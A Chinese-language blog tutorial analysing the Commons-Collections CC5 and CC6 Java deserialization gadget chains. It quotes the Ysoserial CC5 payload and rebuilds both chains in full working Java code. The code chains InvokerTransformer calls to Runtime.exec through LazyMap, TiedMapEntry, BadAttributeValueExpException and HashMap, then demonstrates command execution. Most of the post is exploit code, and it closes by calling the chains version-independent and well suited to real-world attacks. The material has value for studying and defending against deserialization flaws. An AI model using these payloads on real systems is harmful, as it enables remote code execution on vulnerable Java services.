前言
这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload:
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
前面到LazyMap这一段我们已经非常熟悉了,恶意的Transform放到了LazyMap中,只要有其他地方调用LazyMap的get()方法即可触发恶意Transform。
通过IDEA的Find Usages功能,可以看到有上千个地方有对lazymap调用,而YsoSerial CC5选择了TiedMapEntry。
TiedMapEntry
为什么CC5 选择使用TiedMapEntry呢,看一下TiedMapEntry的源码,其中getValue()有对map调用get()方法,那getValue()就能触发代码执行,捎带的本类中还有equals
、hashCode
、toString
有调用getValue,也就是说在TiedMapEntry 能触发代码执行的有 equals
、hashCode
、toString
、getValue
这四个方法,其中toString和equals 某些场景下能够被隐式调用。
利用链挖掘
将恶意类绑定到TiedMapEntry后,因为可以触发的方法变多了,同时特别是toString和equel方法更加通用所以,只要找到一个类满足以下条件,那RCE就能完成了:
- 该类有继承可以被序列化标志的Serializable接口,或者其父类有继承Serializable
- 该类的readObject方法中有调用可控变量的
toString
、equel
、hashCode
、getValue
满足这两个条件其实有很多,对应的分别有
-
调用toString的BadAttributeValueExpException 对应CC5
-
调用hashcode的HashMap,对应CC6
一、BadAttributeValueExpException(CC5)
先来分析下CC5的BadAttributeValueExpException,打开源码定位readObject,非常明显,有对序列化变量val
的toString()操作。
看一下这个val长啥样:
val是一个Object类型的私有化变量,那思路就很清晰,只要把我们构造的TiedMapEntry 通过反射赋值给val即可。
实操
第一步 构造恶意的LazyMap
// 第一步 构造恶意lazyMap
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
第二步 构造恶意的TiedMapEntry
// 第二步 构造恶意的 TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");
第三步 构造利用类 BadAttributeValueExpException
这里有个细节,虽然能够直接通过构造方法赋值给val,但在构造方法中有对入参做toString操作,那得到的val就是String而不是map了,所以只能通过反射的方式去赋值给val
// 第三步 构造 BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);
第四步 反序列化验证
// 第四步 反序列化验证
String path = ExpUtils.serialize(badAttributeValueExpException);
ExpUtils.unserialize(path);
执行一下,命令成功执行:
HashMap
上面以BadAttributeValueExpException作为利用,下面看一下HashMap#readObject的源码,HashMap中有对反序列化的key值做hash操作:
跟进一下hash(),调用了key的hashCode()方法,结合我们对TiedMapEntry的分析,这里只要将key赋值为TiedMapEntry,在反序列化时即可完成RCE。
实操
第一步 构造恶意TiedMapEntry
这里有一点和前面不一样,传递给chainedTransformer的是一个 new ConstantTransformer(1)
相当于空操作的fakeTransformer,这是为了避免后面在hashmap在put时会执行代码。
// 第一步 构造恶意 tiedMapEntry
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransformer = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");
第二步 绑定到hashmap上
Map mapStringHashMap = new HashMap<>();
mapStringHashMap.put(tiedMapEntry,"outerKey");
第三步 移除第一个hashmap的entryKey
这里可以想一下为什么要这么操作。
因为HashMap不光在readobject时会执行hash操作,在put的时候也会计算hash,这样put的时候第一个hashmap就已经生成entryKey的key了,而在反序列化的时候系统判断存在就不会再执行transform方法,也就不会触发代码执行。
其实这里为什么在已经传递给tiedMapEntry后还能修改第一个hashmap并生效也说明了,Java中传递给TiedMapEntry只是一个引用,可以在外面进行修改。
evilMap.remove("entryKey");
第四步 把恶意的transfomer通过反射重新赋值给chainedTransformer并反序列化验证
ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
String path = ExpUtils.serialize(mapStringHashMap);
ExpUtils.unserialize(path);
执行结果:
总结
本篇文章在前文LazyMap的基础上进一步通过TiedMapEntry封装,从而带来了CC5与CC6的反序列化利用链,值得说明的是,CC5、CC6目前没有版本限制,执行非常通用,我在最近的JDK1.8.261下都能成功运行,是在实战中比较好利用的链。
公众号
欢迎关注我的公众号!